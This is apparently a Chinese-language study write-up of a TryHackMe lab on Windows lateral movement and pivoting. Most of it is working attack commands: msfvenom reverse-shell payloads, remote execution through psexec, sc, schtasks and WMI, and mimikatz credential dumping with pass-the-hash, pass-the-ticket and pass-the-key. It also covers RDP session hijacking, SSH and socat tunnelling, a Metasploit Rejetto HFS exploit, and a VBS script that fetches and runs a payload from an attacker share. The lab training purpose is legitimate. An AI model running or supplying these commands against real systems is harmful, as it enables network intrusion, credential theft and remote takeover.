什么是横向运动?
简而言之,横向移动是攻击者用来在网络中移动的一组技术。一旦攻击者获得对网络第一台计算机的访问权,出于多种原因,移动就变得至关重要,其中包括: - 实现攻击者的目标 - 绕过现有的网络限制 - 建立额外的网络入口点 - 制造混乱和避免被发现。
移动的方式
我们可以通过多种方式进行横向移动。最简单的方法是使用 标准管理协议(例如 WinRM、RDP、VNC 或 SSH)连接到网络上的其他计算机。只要在规划与哪个帐户连接的位置时保持一定的一致性,这种方法就可以在某种程度上模拟常规用户的行为。虽然 IT 部门的用户通过 RDP 连接到 Web 服务器可能很常见并且不会受到关注,但必须注意不要尝试可疑的连接 (例如,为什么本地管理员用户从营销部门连接到 DEV-001-PC)电脑?)。
管理员和UAC
虽然可能期望每个管理员帐户都具有相同的目的,但必须区分两种类型的管理员:
- 本地帐户属于本地管理员组
- 域帐户属于本地管理员组
- 用户帐户控制 ( UAC )对本地管理员施加的限制。默认情况下,本地管理员将无法远程连接到计算机并执行管理任务,除非通过RDP使用交互式会话。Windows 将拒绝通过 RPC、SMB 或 WinRM 请求的任何管理任务,因为此类管理员将使用经过过滤的介质完整性令牌登录,从而防止帐户执行特权操作。唯一获得完全权限的本地帐户是默认管理员帐户。
- 具有本地管理权限的域帐户不会受到相同的处理,并且将以完全管理权限登录。
如果要禁用UAC,可以使用以下命令:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
关于UAC:
https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction
创建远程会话
在假设我们拥有收集到了,其他机子的凭据时,我们可以利用这些凭据进行横向移动
用户: ZA.TRYHACKME.COM\t1_leonard.summers
密码: EZpass4ever
通过这幅图片,我们将要使用各种方法 从THMJMP2机子 横向移动 到THMIS的机子里
psexec
它允许管理员用户在他有权访问的任何 PC 上远程运行命令。
硬性条件:
- 端口:445/TCP ( SMB )
- 对方共享服务必须开启 ADMIN$
- 所需的组成员身份:管理员
psexec 的工作方式如下:
- 连接到 Admin$ 共享并上传服务二进制文件。Psexec 使用 psexesvc.exe 作为名称。
- 连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务,并将服务二进制文件与C:\Windows\psexesvc.exe.
- 创建一些命名管道来处理 stdin/stdout/stderr。
| |
| 1. 通过 ADMIN$ 共享上传 psexecsvc.exe ====> |
| |
[攻击者] | 2. 创建并执行 psexec 服务 ========> | [目标]
| |
| 3. <======== 通过 \.\pipe\psexecsvc 进行通信 |
| |
psexec下载地址:
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
凭据注入
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers cmd.exe
这时候在新弹出的cmd窗口 使用以下命令
PsExec64.exe \\target_ip -u 用户名 -p 密码 -i 交互的命令
可以看见横向移动成功
sc
我们可以使用 sc.exe(Windows 中提供的标准工具)在远程主机上创建服务。然后运行恶意服务
条件:
- 端口:
- 135/TCP、49152-65535/TCP(DCE/RPC)
- 445/TCP(基于 SMB 命名管道的 RPC)
- 139/TCP(基于 SMB 命名管道的 RPC)
- 所需的组成员身份:管理员
使用sc时,它会通过几种方式尝试通过RPC连接到Service Control Manager(SVCCTL)远程服务程序:
- 首先尝试通过 RPC 向服务控制管理器进行身份验证。
Talk with | |
Endpoint | 1. SVCCTL 的 RPC 请求 ===========>
Mapper (EPM) | |
| <==== 2. SVCCTL 端口的 RPC 响应 |
[attacker] | (通常是高数字端口) | [target]
_____________ | ______________________________________ | ________
| |
Talk with | 3. RPC 绑定到 SVCCTL 端口 ==========>
SVCCTL | |
如果 RPC 失败,它将尝试通过 SMB 命名管道进行通信。
| |
| |
[Attacker] | 1. 尝试绑定到 \pipe\svcct ====> | [target]
| |
| |
smbclient上传文件
要运行恶意的服务,也需要有指定的载荷文件,所以需要制作
msfvenom -p windows/meterpreter/reverse_tcp LHOST=my_ip LPORT=my_port -f exe-service -o a.exe
有了自定义的payload 文件,我们现在需要使用凭据将恶意的文件放入到目标机子中
smbclient -U t1_leonard.summers -W ZA '//10.200.48.201/C$/' EZpass4ever
# -W 指定工作群组名称
在 C:\tmp 下放入了payload文件
运行服务指定文件
现在我们需要创建一个服务,然后指定该文件,并启动,然后就能实现横向移动了
凭据注入
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers cmd.exe
创建服务 , 然后运行服务
sc \\10.200.48.201 create badservice binPath= "C:\tmp\a.exe" start= auto
sc \\10.200.48.201 start badservice
这时候返回 MSF监听,发现成功返回shell
可以看见横向移动成功
schtask
我们可以使用的另一个 Windows 功能是计划任务。它和前面的SC的利用方式几乎一样
使用条件是:
- 版本 > 2008
- 必须是管理员
除了使用 smbclient 命令上传恶意payload.exe 文件,还可以使用 IPC$连接上传
IPC$连接上传文件
攻击机生成64位的Windows的载荷
然后启动监听
现在来到Windows机子,使用管理员的凭据进行IPC$连接
net use \\target_ip /u:用户名 密码
查看C盘下的文件
dir \\10.200.48.201\C$
将本地的 b.exe 复制至 目标机子的C:\tmp 下
copy b.exe \\10.200.48.201\C$\tmp
查看文件,验证文件上传成功
使用计划任务执行
现在我们可以利用 schtasks 命令来运行,刚刚上传的恶意文件,然后实现横向移动
指定目标并且创建任务名,以SYSTEM身份执行,且每分钟运行一次
schtasks /s target_ip /U 用户名 /P 密码 /RU "SYSTEM" /create /tn "任务名" /tr "执行的命令或者文件" /sc minute /mo 1
不等待时间,直接执行任务
schtasks /s target_ip /U 用户名 /P 密码 /run /tn "任务名"
删除计划任务
schtasks /s target_ip /U 用户名 /P 密码 /tn "任务名" /DELETE /F
返回MSF监听,可以看见成功接受到shell,成功横向移动到目标机子
使用 WMI 横向移动
WMI 是基于 Web 的企业管理 (WBEM) 的 Windows 实现,WBEM 是跨设备访问管理信息的企业标准。 简单来说,WMI 允许管理员执行标准管理任务,攻击者可以滥用这些任务以各种方式执行横向移动
从 Powershell 连接到 WMI
这里假设捕获了一些具有管理访问权限的凭据
用户: ZA.TRYHACKME.COM\t1_corine.waters
密码: Korine.1994
要使用 WMI 首先必须使用powershell进行连接
我们需要使用我们的用户和密码创建一个 PSCredential 对象。该对象将存储在 $credential 变量中
$username = 'ZA.TRYHACKME.COM\t1_corine.waters';
$password = 'Korine.1994';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
然后使用以下协议之一,建立会话
- DCOM: RPC over IP 将用于连接到 WMI。该协议使用端口 135/TCP 和端口 49152-65535/TCP
- Wsman: WinRM 将用于连接到 WMI。此协议使用端口 5985/TCP (WinRM HTTP ) 或 5986/TCP (WinRM HTTPS)。
要从 Powershell 建立 WMI 会话,我们可以使用以下命令并将会话存储在 $Session 变量中
$Opt = New-CimSessionOption -Protocol DCOM # 或者 Wsman
$Session = New-Cimsession -ComputerName TARGET_IP -Credential $credential -SessionOption $Opt -ErrorAction Stop
# 该New-CimSessionOptioncmdlet 用于配置 WMI 会话的连接选项,包括连接协议。
# 然后,选项和凭据将传递到New-CimSessioncmdlet 以建立针对远程主机的会话。
现在我们拥有了会话,后续的各种 WMI 横向技术,都将通过$session 来实现(也就是前面的操作已经实现了)
使用 WMI 远程创建进程
条件:
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
- 所需的组成员身份:管理员
我们可以利用 WMI 从 Powershell 远程生成一个进程,向 Win32_Process 类发送 WMI 请求,使用以下命令
$Command = "cmd.exe /c C:\tmp\b.exe"; # payload
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
或者
wmic /user:ZA.TRYHACKME.COM\t1_corine.waters /password:Korine.1994 /node:10.200.48.201 process call create "cmd.exe /c b.exe"
# b.exe 为 MSF生成的木马,通过各种方式上传到目标机子中,最后使用WMIC运行该文件
返回MSF监听,可以看见横向移动成功
使用 WMI 远程创建服务
条件:
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP ) 或 5986/TCP (WinRM HTTPS)
- 所需的组成员身份:管理员
我们可以通过Powershell使用WMI创建服务。创建名为 badservice 的服务,该服务指定可以指定恶意的payload
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "badservice";
DisplayName = "badservice";
PathName = "cmd.exe /c C:\a.exe"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess :在新进程中启动服务
StartMode = "Manual"
}
然后获取该服务的句柄,最后再启动该服务
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'badservice'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
返回MSF监听,可以看见成功横向移动到目标机子
最后,我们可以使用以下命令停止以及删除该服务:
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
使用 WMI 远程创建计划任务
- 条件:
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP ) 或 5986/TCP (WinRM HTTPS)
- 所需的组成员身份:管理员
同 schtasks 一样,还可以使用 WMI来创建计划任务
# payload 必须分为命令和参数
$Command = "cmd.exe" # 命令
$Args = "/c C:\a.exe" # 参数
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "badservice"
Start-ScheduledTask -CimSession $Session -TaskName "badservice"
# 后面三行意思分别为:
# 执行命令和参数
# 以SYSTEM身份运行该任务名
# 开始执行计划任务
执行计划任务后,返回MSF监听可以发现成功横向移动到目标机子
使用完计划任务后将其删除,可以使用以下命令:
Unregister-ScheduledTask -CimSession $Session -TaskName "badservice"
通过 WMI 安装 MSI包
MSI 是一种用于安装程序的文件格式。如果将 恶意制作的的MSI 包复制到目标系统,那么我们就可以使用WMI安装它,然后执行该文件,最后移动到目标机子。
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP ) 或 5986/TCP (WinRM HTTPS)
- 所需的组成员身份:管理员
首先使用MSF生成 MSI 马
msfvenom -p windows/x64/shell_reverse_tcp LHOST=target_ip LPORT=4444 -f msi -o a.msi
然后将该文件上传至目标机子,至于怎么上传就不在叙述了,前面有
MSF 准备好监听
返回 Windows机子 使用 Win32_Product 类调用 Install 方法来触发有效负载:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\a.msi"; Options = ""; AllUsers = $false}
也可以使用 wmic 来实现相同的目的:
wmic /node:TARGET_IP /user:DOMAIN\USER /password:密码 product call install PackageLocation=c:\a.msi
返回 MSF 监听,可以发现横向移动成功
票据传输
除了密码登录,还可以使用替代身份验证的值,来进行身份验证
原理
NTLM验证原理
- 客户端向他们想要访问的服务器发送身份验证请求。
- 服务器生成一个随机数并将其作为质询发送给客户端。
- 客户端将其 NTLM 密码哈希与质询(以及其他已知数据)结合起来,生成对质询的响应,并将其发送回服务器进行验证。
- 服务器将质询和响应转发给域控制器进行验证。
- 域控制器使用质询重新计算响应并将其与客户端发送的初始响应进行比较。如果两者匹配,则客户端通过身份验证;否则,访问将被拒绝。认证结果发送回服务器。
- 服务器将认证结果转发给客户端。
Kerberos 身份验证
Kerberos 身份验证在 Windows 网络上的工作原理:
- 用户将其用户名和使用从其密码派生的密钥加密的时间戳发送到 密钥分发中心 (KDC),该服务通常安装在域控制器上,负责在网络上创建 Kerberos 票证。KDC 将创建并发回 票证授予票证 ( TGT ),允许用户请求票证以访问特定服务,而无需将其凭据传递给服务本身。与TGT一起,还将向用户提供会话密钥,他们将需要该会话密钥来生成后续请求。请注意,TGT使用 krbtgt帐户的密码哈希进行加密,因此用户无法访问其内容。重要的是要知道加密的TGT包括会话密钥的副本作为其内容的一部分,并且 KDC 不需要存储会话密钥,因为它可以在需要时通过解密 TGT 来恢复副本。
- 当用户想要连接到网络上的服务(例如共享、网站或数据库)时,他们将使用TGT向 KDC 请求票证授予服务 (TGS) 。TGS 是只允许连接到为其创建的特定服务的票证。要请求 TGS,用户将发送他的用户名和使用会话密钥加密的时间戳,以及TGT和服务主体名称 (SPN),该名称指示我们打算访问的服务和服务器名称。因此,KDC 将向我们发送 TGS 和服务会话密钥,我们需要对我们想要访问的服务进行身份验证。TGS 使用服务所有者哈希进行加密。服务所有者是运行服务的用户或计算机帐户。TGS 在其加密内容上包含服务会话密钥的副本,以便服务所有者可以通过解密 TGS 来访问它。
- 然后可以将 TGS 发送到所需的服务以进行身份验证并建立连接。该服务将使用其配置的帐户的密码哈希来解密 TGS 并验证服务会话密钥。
mimiatz
通常都使用 mimikatz工具 来进行提取身份验证的信息
提权
直接使用,可能遇到这种情况
使用 powershell 执行以下命令:
Start-Process powershell -Verb runAs
提升当前进程的调试特权
privilege::debug
提升当前进程的令牌权限至最高权限
token::elevate
票据收集
获取本地用户的哈希值
lsadump::sam
获取最近登录域用户的哈希值
sekurlsa::msv
获取 Kerberos 加密密钥
sekurlsa::ekeys
PTH(传递哈希)
NTLM 哈希注入
通过前面的票据收集,获取到了一些NTLM值,我们将通过这个值来进行横向移动
执行以下命令:相当于 runas 的凭据注入,它们的区别在于一个是明文密码,一个是哈希值
sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM的哈希值 /run:"执行的命令"
可以看见弹出了一个 CMD窗口,所执行的命令都已经注入了哈希票据,简单来说已经拥有了NTLM的身份验证
可以看见,读取文件成功
dir \\xx.xx.xx.xx\C$
移动目标机子
可以使用 winrs 而不指定任何凭据,并且它将使用当前会话可用的凭据
winrs.exe -r:THMIIS.za.tryhackme.com cmd
也可以利用ICP$等服务上传恶意文件,然后使用 sc 或者 schtasks 命令来执行该文件。前面已经叙述了,不再演示了
扩展(关于Linux传递哈希)
使用 PtH 连接到RDP :
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
使用 PtH 通过 psexec 连接:
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
# 注意:仅 Linux 版本的 psexec 支持 PtH。
使用 PtH 连接到 WinRM:
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
PTT(传递票据)
查看票据
mimikatz 列出票据
kerberos::list
kerberos::purge # 清除票据
windows 查看当前机器拥有的凭证
klist
klist purge # 清除票据
在没有票据的时候可以看见,不能列出目标机子的文件,原因是没有票据 TGT
票据注入
首先导出票据,不过通常需要 SYSTEM 权限
sekurlsa::tickets /export
[0;97d82]-2-0-40e10000-t2_felicia.dean@krbtgt-ZA.TRYHACKME.COM.kirbi
|_______| ^ |________| |_____________| |_____________________||_____|
| | | | | |______文件文件扩展名
| | | | |
| | | | |______resource
| | | |
| | | |______用户/计算机帐户(票证所有者)
| | |
| | |______0x40e10000 kerberos 标志 [1]
| |
| |______Kerberos 票证类型
| 0 = TGS / 1 = Client ticket / 2 = TGT
|
|__________0x97d82 user LUID [2]
但大多数时候,我们只需要 TGT 票据,因为它们可用于请求访问允许用户访问的任何服务。TGS 仅适用于特定服务。
然后使用以下命令,注入 TGT
kerberos::ptt [0;525fb0]-2-0-40e10000-t1_toby.beck@krbtgt-ZA.TRYHACKME.COM.kirbi
可以发现 TGT票据已经成功注入
使用 winrs命令,它将自动已有的票据注入到命令中,可以发现成功执行
winrs -r:target cmd
也可以利用ICP$等服务上传恶意文件,然后使用 sc 或者 schtasks 命令来执行该文件。前面已经叙述了,不再演示了
PTK(传递密钥)
这种攻击与PTH相似,但是适用于Kerberos验证
原理
当用户请求TGT时,他们会发送使用从其密码派生的加密密钥加密的时间戳。用于派生此密钥的算法可以是 DES(在当前 Windows 版本上默认禁用)、RC4、AES128 或 AES256,具体取决于安装的 Windows 版本和 Kerberos 配置。如果我们拥有这些密钥中的任何一个,我们可以向 KDC 请求 TGT,而无需实际密码,因此名称为“传递密钥”(PtK)。
演示
使用以下命令从内存中获取 Kerberos 加密密钥:
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::ekeys" "exit" > log.txt
我们的关注点主要是 RC4 哈希、AES128 哈希 、AES256 哈希。同 PTH 传递同理,命令差不多
如果有RC4 哈希:
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /rc4:533f1bd576caa912bdb9da284bbc60fe /run:"cmd.exe"
如果是AES256 哈希:
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /aes256:6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e /run:"cmd.exe"
如果是AES128 哈希:
# 和前面同理 将/aes256: 替换为/aes128:
通过刚刚的方式,可以看见凭据注入成功
至于怎么移动到对方的机子,可以参考前面的方法,这里不再重复了
滥用用户行为
在某些情况下,攻击者可以利用用户执行的操作来进一步访问网络中的计算机。
滥用可写的共享
条件:
- 攻击者发现全局可写共享
- 攻击者发现允许访问可写共享的凭据
VBS脚本
我们将制作的后门payload放置在本地可写共享上
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\MY-IP\share_name\payload.exe %tmp% & %tmp%\payload", 0, True
如果用户从文件共享运行此脚本,该脚本将:payload.exe 文件复制到用户的临时目录,然后执行
EXE后门
- 将二进制文件从文件共享复制到 Kali
- 使用它作为模板来创建冒名顶替者
- 将冒名顶替者放置在文件共享上
- 启动监听器并等待连接
msfvenom -a x64 --platform windows -x filename.exe -k -p windows/x64/shell_reverse_tcp LHOST=kali-ip-address LPORT=80 -b '\x00' -f exe -o filename.exe
RDP劫持
原理
当管理员使用远程桌面连接到计算机并关闭RDP客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态。如果在 Windows Server 2016 及更早版本上拥有系统权限,则无需密码即可接管任何现有 RDP 会话。
如图,打开任务管理器查看用户信息
演示
我们可以使用任何方法获取 SYSTEM。这里使用 psexec 来执行此操作。首先,以管理员身份运行 cmd.exe:
然后使用psexec工具 运行以下命令:
psexec64.exe -s cmd.exe
列出服务器上现有的会话,使用以下命令:
query user
如果要移动到 t1_body.beck 用户会话,可以使用以下命令:
tscon 5 /dest:rdp-tcp#18
# 5 对应着该用户的ID rdp-tcp#18为自己当前 SESSIONNAME
可以看见RDP劫持成功
端口转发
大多数横向移动技术都需要特定端口可供攻击者使用。在现实网络中,管理员可能出于安全原因阻止了其中一些端口,或者在网络周围实施了分段,从而阻止你访问SMB、RDP、WinRM 或 RPC 端口。
为了绕过这些限制,我们可以使用端口转发技术,其中包括使用任何受感染的主机作为跳转盒来转向其他主机。
SSH隧道
SSH协议,它已经具有通过称为SSH 隧道的功能进行端口转发的内置功能,虽然 SSH 曾经是与Linux系统相关的协议,但 Windows 现在默认附带 OpenSSH 客户端。
SSH 远程端口转发
假设防火墙策略只允许一台机子运行直接访问服务器上的端口3389,如果攻击者之前已经入侵了这一台机子(PC-1),我们可以利用这台机子 PC-1 将3389的端口转发到 SSH 远程的攻击机的3388端口上。
ssh tunneluser@ATTACK_IP -R 3388:SERVER_ip:3389 -N
# 3.3.3.3 为转发3389端口要连接的目标10.200.
# 最后转发至 SSH远控的机子
然后可以只需要 RDP 连接本地攻击机,就可以进行远程连接到对方服务器了
xfreerdp /v:127.0.0.1:
3388 /u:MyUser /p:MyPassword
SSH 本地端口转发
通常适用于获取攻击机的端口服务,常用于方向shell的端口
要使攻击机本地转发端口 80 并使其可从 PC-1 访问,我们可以在 PC-1 上运行以下命令:
ssh tunneluser@ATTACK_IP -L *:80:127.0.0.1:80 -N
# -L 选项通常都是搭配127.0.0.1 ,它的意思是 将本地主机的所有网络接口上的80端口映射到远程主机的80端口。
# 这样,当你访问本地主机的80端口时,实际上是将流量转发到远程主机的80端口上。
# -N 不执行远程命令的选项,只进行端口转发
我们在 PC-1 上打开一个新端口,因此可能需要添加防火墙规则以允许传入连接(使用dir=in)为此需要管理权限:
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
- etsh: Windows系统中的命令行工具,用于管理网络配置。
- advfirewall: netsh命令的参数,用于配置高级防火墙设置。
- firewall add rule: 添加防火墙规则的命令。
- name=“Open Port 80”: 规则的名称,这里设置为"Open Port 80"。
- dir=in: 指定规则的方向为入站流量,即进入本地计算机的流量。
- action=allow: 指定规则的动作为允许,即允许通过该端口的流量。
- protocol=TCP: 指定允许的协议为TCP。
- localport=80: 指定允许的本地端口为80。
设置好隧道后,我们只需要访问 PC-1的本地端口的80,就会访问到攻击机开启的80端口的服务
动态端口转发 和 SOCKS
为什么需要动态端口转发?
虽然单端口转发对于需要访问特定套接字的任务非常有效,但有时我们可能需要通过枢轴主机对主机的许多端口甚至跨多台计算机的许多端口运行扫描。 但是动态端口转发允许我们通过主机进行旋转,并使用SOCKS 代理与我们想要的任何 IP 地址/端口建立多个连接。
演示
我们可以假设在 PC-1目标机子上,执行以下命令建立反向动态端口转发:
ssh tunneluser@ATTACK_IP -R 9050 -N
# SSH 服务器将在端口 上启动 SOCKS 代理9050,
# 并通过 SSH 隧道转发任何连接请求,最终由 SSH 客户端代理。
我们可以使用proxychains通过 SOCKS 代理轻松使用我们的任何工具,修改配置文件:
vim /etc/proxychains4.conf
然后修改最后一行的内容:默认端口是 9050,但是只要与我们建立 SSH 隧道时使用的端口匹配,就可以代理成功了
如果想使用代理执行命令,只需要:
proxychains curl x.x.x.x
# proxychains 后门为代理执行的命令
socat 远程端口转发
在 SSH 不可用的情况下,socat 可用于执行类似的功能。缺点是:比 SSH 更容易被检测到(需要将其传输到枢轴主机,即 PC-1)
工具下载地址:
http://www.dest-unreach.org/socat/download
案例1:
如果我们想使用 SSH 远程端口转发一样使用 PC-1 作为枢纽来访问服务器上的端口 3389,我们可以使用以下命令:
socat TCP4-LISTEN:3388,fork TCP4:SERVER_ip:3389
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
这时候攻击机,只需要 RDP连接 PC-1的3388端口,就可以远程连接 Server的服务了
xfreerdp /v:PC_1:3388 /u:MyUser /p:MyPassword
案例2:
如果攻击机想公开本地的恶意服务端口80,只需要调整命令即可:
socat TCP4-LISTEN:80,forck TCP4:ATTACK_IP:80
演示一个复杂的端口转发的工具场景
THMDC 服务器正在运行 Rejetto HFS 的易受攻击版本。我们面临的问题是防火墙规则限制对易受攻击的端口的访问,因此只能从 THMJMP2 机子 进行查看。此外,来自 THMDC 的出站连接仅允许其本地网络中的计算机进行,因此无法直接接收到攻击者计算机的反向 shell。更糟糕的是,Rejetto HFS 漏洞要求攻击者托管HTTP服务器来触发最终有效负载,但由于攻击者的计算机不允许出站连接,我们需要找一个中转机子进行端口转发,也就是THMJMP2
首先在目标中转机子中,使用以下命令进行端口转发
ssh tunneluser@ATTACK_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666
-L *:7878:127.0.0.1:7878 -N
# 解释:因为攻击目标DC机子需要访问80端口,所以需要-R参数进行远程端口转发至攻击本地8888端口,
# 然后才能进行访问
# -L 攻击机本地端口转发6666端口到 中转机 THMJMP2 中,这是为了让THMDC进行访问,才能出发负载
# 另一个 -L 参数,意思也是攻击机为了本地端口转发,而需要配置的
有了上面配置好的隧道,我们就可以使用MSF自带的漏洞负载进行通信了
use exploit/windows/http/rejetto_hfs_exec
show options
- ReverseListenerBindAddress : 它可用于指定攻击者计算机上侦听器的绑定地址,与有效负载将连接回的地址分开。
- set lhost 10.200.91.249 :它是THMJMP2 的IP,之所以设置这个,是因为我们所反向shell的接受攻击载荷都是在中转机 THMJMP2 中实现的,所以必须使用中转机 来接受 反向shell,因为只有它才能访问 THMDC机子
- set lport 7878 : 为攻击机本地端口转发至中转机THMJM2的端口,是因为这个端口才能做到接受反向shell的指定端口
- set srvhost 127.0.0.1 :与中转机 通信的IP,就是攻击机本地IP
- set srvport 6666:意思是这个端口是用来 与 中转机子通信的端口,简单来说就是攻击机本地端口转发到THMJMP2
- set rhost 127.0.0.1 & set rport 8888:意思是因为前面在中转机使用了远程端口转发的参数,也就是说THMDC可以通过本地的127.0.0.1:8888进行访问通信,我们设置可以访问到THMDC的地址和端口,也就是说设置目标的地址 还有端口,这样就可以确认目标了
最后,可以看见反向shell确实是转发到本地的7878端口了,且机子的机器名字是 THMDC
run
总结
横向移动不仅仅是需要收集明文凭据,还需要收集密文凭据,在遇到防火墙受阻和端口限制的情况下,我们可以使用建立端口转发稳定的隧道来与目标进行通信,当用户拥有某些权限时,我们也可以扩展危害性,感染其他用户来进行横向移动
参考:
https://tryhackme.com/room/lateralmovementandpivoting
https://benheater.com/tryhackme-lateral-movement-pivoting/#kali